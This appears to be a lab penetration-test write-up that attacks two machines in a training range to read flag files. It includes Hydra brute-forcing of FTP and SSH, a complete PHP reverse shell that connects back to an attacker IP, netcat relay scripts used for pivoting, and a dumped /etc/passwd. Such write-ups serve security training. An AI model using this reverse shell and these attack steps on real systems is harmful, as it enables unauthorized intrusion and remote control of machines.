Black Box Test #3

You have been engaged in a Black-box Penetration Test (172.16.37.0/24 range). Your goal is to read the flag file on each machine.

Prework

Connect to VPN

sudo openvpn black-box-penetration-test-3.ovpn

Scan network

sudo nmap -sn 172.16.37.0/24 -oN hostAlive.nmap &&
cat hostAlive.nmap | grep for | awk {'print $5'} > ips.txt &&
sudo nmap   -iL ips.txt -A --open -oX portScan.xml &&
nmap2md.sh portScan.xml | xclip

Scanner

Generated on Sun Jul 18 11:53:14 2021 with nmap 7.91.

nmap -sV -n -v -Pn -p- -T4 -iL ips.txt -A --open -oX portScan.xml

Hosts Alive (2)

Host	OS	Accuracy
172.16.37.220	Linux 3.11 - 4.1	95%
172.16.37.234	Linux 3.11 - 4.1	95%

Open Ports and Running Services

✔️172.16.37.220 (Linux 3.11 - 4.1 - 95%)

Port	State	Service	Version
80/tcp	open	http	Apache httpd 2.4.18
3307/tcp	open	tcpwrapped

OWASP Dirbuster 1.0-RC1

• Target URL: http://172.16.37.220

• File Extension: *

• File with list of dirs/files: /usr/share/dirbuster/wordlists/directory-list-lowercase-2.3-medium.txt

Report

DirBuster 1.0-RC1 - Report
http://www.owasp.org/index.php/Category:OWASP_DirBuster_Project
Report produced on Sun Jul 18 12:20:43 EDT 2021
--------------------------------

http://172.16.37.220:80
--------------------------------
Directories found during testing:

Dirs found with a 200 response:

/

Dirs found with a 403 response:

/icons/
/javascript/
/icons/small/


--------------------------------
--------------------------------

Found relevant information at view-source:http://172.16.37.220/****

This discovers a new IP in a new network: 172.16.50.222

<!--ens192    Link encap:Ethernet  HWaddr 00:50:56:a0:9c:e3  
          inet addr:172.16.37.220  Bcast:172.16.37.255  Mask:255.255.255.0
          inet6 addr: fe80::250:56ff:fea0:9ce3/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:720452 errors:0 dropped:32 overruns:0 frame:0
          TX packets:590197 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000 
          RX bytes:108309918 (108.3 MB)  TX bytes:93850516 (93.8 MB)

ens224    Link encap:Ethernet  HWaddr 00:50:56:a0:90:a2  
          inet addr:172.16.50.222  Bcast:172.16.50.255  Mask:255.255.255.0
          inet6 addr: fe80::250:56ff:fea0:90a2/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:36 errors:0 dropped:20 overruns:0 frame:0
          TX packets:48 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000 
          RX bytes:3922 (3.9 KB)  TX bytes:5611 (5.6 KB)

lo        Link encap:Local Loopback  
          inet addr:127.0.0.1  Mask:255.0.0.0
          inet6 addr: ::1/128 Scope:Host
          UP LOOPBACK RUNNING  MTU:65536  Metric:1
          RX packets:18699 errors:0 dropped:0 overruns:0 frame:0
          TX packets:18699 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1 
          RX bytes:1417948 (1.4 MB)  TX bytes:1417948 (1.4 MB)

-->

✔️172.16.37.234 (Linux 3.11 - 4.1 - 95%)

Port	State	Service	Version
40121/tcp	open	ftp	ProFTPD 1.3.0a
40180/tcp	open	http	Apache httpd 2.4.18

OWASP Dirbuster 1.0-RC1

• Target URL: http://172.16.37.234:40180

• File Extension: *

• File with list of dirs/files: /usr/share/dirbuster/wordlists/directory-list-2.3-small.txt

Report

DirBuster 1.0-RC1 - Report
http://www.owasp.org/index.php/Category:OWASP_DirBuster_Project
Report produced on Sun Jul 18 15:18:12 EDT 2021
--------------------------------

http://172.16.37.234:40180
--------------------------------
Directories found during testing:

Dirs found with a 200 response:

/
/xyz/

Dirs found with a 403 response:

/icons/
/icons/small/


--------------------------------
--------------------------------

Dirbuster found the following url: http://172.16.37.234:40180/xyz/

This is the content, which discovers a new IP in a new network: 172.16.50.224

<!-- cmd: --><hr />ens192    Link encap:Ethernet  HWaddr 00:50:56:a0:88:b6  
          inet addr:172.16.37.234  Bcast:172.16.37.255  Mask:255.255.255.0
          inet6 addr: fe80::250:56ff:fea0:88b6/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:2038265 errors:0 dropped:23 overruns:0 frame:0
          TX packets:1588929 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000 
          RX bytes:284381733 (284.3 MB)  TX bytes:245921592 (245.9 MB)

ens224    Link encap:Ethernet  HWaddr 00:50:56:a0:09:4d  
          inet addr:172.16.50.224  Bcast:172.16.50.255  Mask:255.255.255.0
          inet6 addr: fe80::250:56ff:fea0:94d/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:52 errors:0 dropped:13 overruns:0 frame:0
          TX packets:30 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000 
          RX bytes:5703 (5.7 KB)  TX bytes:4104 (4.1 KB)

lo        Link encap:Local Loopback  
          inet addr:127.0.0.1  Mask:255.0.0.0
          inet6 addr: ::1/128 Scope:Host
          UP LOOPBACK RUNNING  MTU:65536  Metric:1
          RX packets:194609 errors:0 dropped:0 overruns:0 frame:0
          TX packets:194609 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1 
          RX bytes:16100124 (16.1 MB)  TX bytes:16100124 (16.1 MB)

ftp splash screen suggests to login with 'ftpuser' while trying to connect.

ftp 172.16.37.234 40121 
Connected to 172.16.37.234.
220 ProFTPD 1.3.0a Server (ProFTPD Default Installation. Please use 'ftpuser' to log in.) [172.16.37.234]
Name (172.16.37.234:kali): ftpuser

Hydra

hydra -t 30 -l ftpuser -P /usr/share/amass/wordlists/all.txt ftp://172.16.37.234:40121

Ouput

Hydra v9.1 (c) 2020 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2021-07-18 14:34:05
[DATA] max 30 tasks per 1 server, overall 30 tasks, 420112 login tries (l:1/p:420112), ~14004 tries per task
[DATA] attacking ftp://172.16.37.234:40121/
[STATUS] 1439.00 tries/min, 1439 tries in 00:01h, 418679 to do in 04:51h, 30 active
[STATUS] 1712.67 tries/min, 5138 tries in 00:03h, 414980 to do in 04:03h, 30 active
[STATUS] 1845.57 tries/min, 12919 tries in 00:07h, 407199 to do in 03:41h, 30 active
[STATUS] 1657.07 tries/min, 24856 tries in 00:15h, 395262 to do in 03:59h, 30 active
[STATUS] 1628.10 tries/min, 50471 tries in 00:31h, 369648 to do in 03:48h, 30 active
[STATUS] 1722.51 tries/min, 80958 tries in 00:47h, 339161 to do in 03:17h, 30 active
[STATUS] 1799.33 tries/min, 113358 tries in 01:03h, 306769 to do in 02:51h, 30 active
[STATUS] 1870.38 tries/min, 147760 tries in 01:19h, 272367 to do in 02:26h, 30 active
[STATUS] 1921.68 tries/min, 182560 tries in 01:35h, 237567 to do in 02:04h, 30 active
[40121][ftp] host: 172.16.37.234   login: ftpuser   password: ftpuser

Found credentials for ftp server through hydra: ftpuser/ftpuser

Now that we have access to the ftp, we can upload a PHP reverse shell, and invoke it by opening this URL in your browser: http://172.16.37.234:40180/xyz/rev-shell.php****

Netcat Listener (local machine)

nc -l 1234

PHP Reverse Shell

<?php
// php-reverse-shell - A Reverse Shell implementation in PHP
// Copyright (C) 2007 [email protected]
//
// This tool may be used for legal purposes only.  Users take full responsibility
// for any actions performed using this tool.  The author accepts no liability
// for damage caused by this tool.  If these terms are not acceptable to you, then
// do not use this tool.
//
// In all other respects the GPL version 2 applies:
//
// This program is free software; you can redistribute it and/or modify
// it under the terms of the GNU General Public License version 2 as
// published by the Free Software Foundation.
//
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License along
// with this program; if not, write to the Free Software Foundation, Inc.,
// 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
//
// This tool may be used for legal purposes only.  Users take full responsibility
// for any actions performed using this tool.  If these terms are not acceptable to
// you, then do not use this tool.
//
// You are encouraged to send comments, improvements or suggestions to
// me at [email protected]
//
// Description
// -----------
// This script will make an outbound TCP connection to a hardcoded IP and port.
// The recipient will be given a shell running as the current user (apache normally).
//
// Limitations
// -----------
// proc_open and stream_set_blocking require PHP version 4.3+, or 5+
// Use of stream_select() on file descriptors returned by proc_open() will fail and return FALSE under Windows.
// Some compile-time options are needed for daemonisation (like pcntl, posix).  These are rarely available.
//
// Usage
// -----
// See http://pentestmonkey.net/tools/php-reverse-shell if you get stuck.

set_time_limit (0);
$VERSION = "1.0";
$ip = '10.13.37.11';  // CHANGE THIS
$port = 1234;       // CHANGE THIS
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/sh -i';
$daemon = 0;
$debug = 0;

//
// Daemonise ourself if possible to avoid zombies later
//

// pcntl_fork is hardly ever available, but will allow us to daemonise
// our php process and avoid zombies.  Worth a try...
if (function_exists('pcntl_fork')) {
	// Fork and have the parent process exit
	$pid = pcntl_fork();
	
	if ($pid == -1) {
		printit("ERROR: Can't fork");
		exit(1);
	}
	
	if ($pid) {
		exit(0);  // Parent exits
	}

	// Make the current process a session leader
	// Will only succeed if we forked
	if (posix_setsid() == -1) {
		printit("Error: Can't setsid()");
		exit(1);
	}

	$daemon = 1;
} else {
	printit("WARNING: Failed to daemonise.  This is quite common and not fatal.");
}

// Change to a safe directory
chdir("/");

// Remove any umask we inherited
umask(0);

//
// Do the reverse shell...
//

// Open reverse connection
$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {
	printit("$errstr ($errno)");
	exit(1);
}

// Spawn shell process
$descriptorspec = array(
   0 => array("pipe", "r"),  // stdin is a pipe that the child will read from
   1 => array("pipe", "w"),  // stdout is a pipe that the child will write to
   2 => array("pipe", "w")   // stderr is a pipe that the child will write to
);

$process = proc_open($shell, $descriptorspec, $pipes);

if (!is_resource($process)) {
	printit("ERROR: Can't spawn shell");
	exit(1);
}

// Set everything to non-blocking
// Reason: Occsionally reads will block, even though stream_select tells us they won't
stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);

printit("Successfully opened reverse shell to $ip:$port");

while (1) {
	// Check for end of TCP connection
	if (feof($sock)) {
		printit("ERROR: Shell connection terminated");
		break;
	}

	// Check for end of STDOUT
	if (feof($pipes[1])) {
		printit("ERROR: Shell process terminated");
		break;
	}

	// Wait until a command is end down $sock, or some
	// command output is available on STDOUT or STDERR
	$read_a = array($sock, $pipes[1], $pipes[2]);
	$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);

	// If we can read from the TCP socket, send
	// data to process's STDIN
	if (in_array($sock, $read_a)) {
		if ($debug) printit("SOCK READ");
		$input = fread($sock, $chunk_size);
		if ($debug) printit("SOCK: $input");
		fwrite($pipes[0], $input);
	}

	// If we can read from the process's STDOUT
	// send data down tcp connection
	if (in_array($pipes[1], $read_a)) {
		if ($debug) printit("STDOUT READ");
		$input = fread($pipes[1], $chunk_size);
		if ($debug) printit("STDOUT: $input");
		fwrite($sock, $input);
	}

	// If we can read from the process's STDERR
	// send data down tcp connection
	if (in_array($pipes[2], $read_a)) {
		if ($debug) printit("STDERR READ");
		$input = fread($pipes[2], $chunk_size);
		if ($debug) printit("STDERR: $input");
		fwrite($sock, $input);
	}
}

fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);

// Like print, but does nothing if we've daemonised ourself
// (I can't figure out how to redirect STDOUT like a proper daemon)
function printit ($string) {
	if (!$daemon) {
		print "$string\n";
	}
}

?> 

/etc/passwd

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-timesync:x:100:102:systemd Time Synchronization,,,:/run/systemd:/bin/false
systemd-network:x:101:103:systemd Network Management,,,:/run/systemd/netif:/bin/false
systemd-resolve:x:102:104:systemd Resolver,,,:/run/systemd/resolve:/bin/false
systemd-bus-proxy:x:103:105:systemd Bus Proxy,,,:/run/systemd:/bin/false
syslog:x:104:108::/home/syslog:/bin/false
_apt:x:105:65534::/nonexistent:/bin/false
messagebus:x:106:110::/var/run/dbus:/bin/false
uuidd:x:107:111::/run/uuidd:/bin/false
lightdm:x:108:114:Light Display Manager:/var/lib/lightdm:/bin/false
whoopsie:x:109:116::/nonexistent:/bin/false
avahi-autoipd:x:110:119:Avahi autoip daemon,,,:/var/lib/avahi-autoipd:/bin/false
avahi:x:111:120:Avahi mDNS daemon,,,:/var/run/avahi-daemon:/bin/false
colord:x:112:123:colord colour management daemon,,,:/var/lib/colord:/bin/false
dnsmasq:x:113:65534:dnsmasq,,,:/var/lib/misc:/bin/false
hplip:x:114:7:HPLIP system user,,,:/var/run/hplip:/bin/false
kernoops:x:115:65534:Kernel Oops Tracking Daemon,,,:/:/bin/false
pulse:x:116:124:PulseAudio daemon,,,:/var/run/pulse:/bin/false
rtkit:x:117:126:RealtimeKit,,,:/proc:/bin/false
saned:x:118:127::/var/lib/saned:/bin/false
usbmux:x:119:46:usbmux daemon,,,:/var/lib/usbmux:/bin/false
speech-dispatcher:x:120:29:Speech Dispatcher,,,:/var/run/speech-dispatcher:/bin/false
elsuser:x:1000:1000:elsuser,,,:/home/elsuser:/bin/bash
ftpuser:x:0:0::/home/ftpuser:/bin/bash
test:x:1001:1002::/home/test:

ftpuser has root rights (just use the same password):

ftpuser:x:0:0::/home/ftpuser:/bin/bash

www-data@xubuntu:/home/ftpuser$ su ftpuser
Password: 
root@xubuntu:~# root@xubuntu:/# find . | grep .flag.txt
find: ‘./run/user/108/gvfs’: Permission denied
./var/www/.flag.txt
./home/ftpuser/.flag.txt

Flag encountered!

root@xubuntu:/# cat /var/www/.flag.txt
You got the first machine!

We run nmap from this new machine to discover opened ports on 172.16.50.224

nmap (on 172.16.50.224)

nmap 172.16.50.222 -sV -n -v -Pn -p- -T4 -oX portScan.xml

Output

Scanner

Generated on Sun Jul 18 21:04:56 2021 with nmap 7.01.

nmap -sV -n -v -Pn -p- -T4 -oX portScan.xml --min-rate=5000 172.16.50.222

Hosts Alive (1)

Host	OS	Accuracy
172.16.50.222		%

Open Ports and Running Services

172.16.50.222 ( - %)

Port	State	Service	Version
22/tcp	open	ssh	OpenSSH 7.2p2 Ubuntu 4ubuntu2.8
80/tcp	open	http	Apache httpd 2.4.18
3307/tcp	open	tcpwrapped

Use netcat to pivot an hydra attack for the ssh service on 172.16.50.222 :

Attacker Machine (listener.sh)

#!/bin/bash
# Listener Relay

cd /tmp; mknod backpipex p
while true; do
    nc -lvp 111 0<backpipex | nc -lvp 222 | tee backpipex
done;

Pivot Machine (c2c-relay.sh)

#!/bin/bash
# Client to Client Relay on

cd /tmp; mknod backpipex p 
while true; do
    nc 172.16.50.222 22 0<backpipex | nc 10.13.37.11 111 | tee backpipex   
done;

Attacker Machine (Attack)

hydra -s 222 -V -l root -P /usr/share/wordlists/dirb/small.txt 127.0.0.1 ssh

Output

Hydra v9.1 (c) 2020 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2021-07-18 18:24:48
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 2 tasks per 1 server, overall 2 tasks, 2 login tries (l:1/p:2), ~1 try per task
[DATA] attacking ssh://127.0.0.1:222/
[222][ssh] host: 127.0.0.1   login: root   password: root
1 of 1 target successfully completed, 1 valid password found

Flag encountered for 172.16.50.222!

root/root, just login from your attacker machine:

> ssh [email protected] -p 222
[email protected]'s password: 
Welcome to Ubuntu 16.04.3 LTS (GNU/Linux 4.4.0-104-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

199 packages can be updated.
11 updates are security updates.

Last login: Sun Jul 18 22:14:47 2021 from 172.16.50.224

root@xubuntu:~# find / | grep flag.txt
find: ‘/run/user/108/gvfs’: Permission denied
/root/.flag.txt

root@xubuntu:~# cat /root/.flag.txt
Congratz! You got it.

References

Use netcat to PivotInformation Security Stack Exchange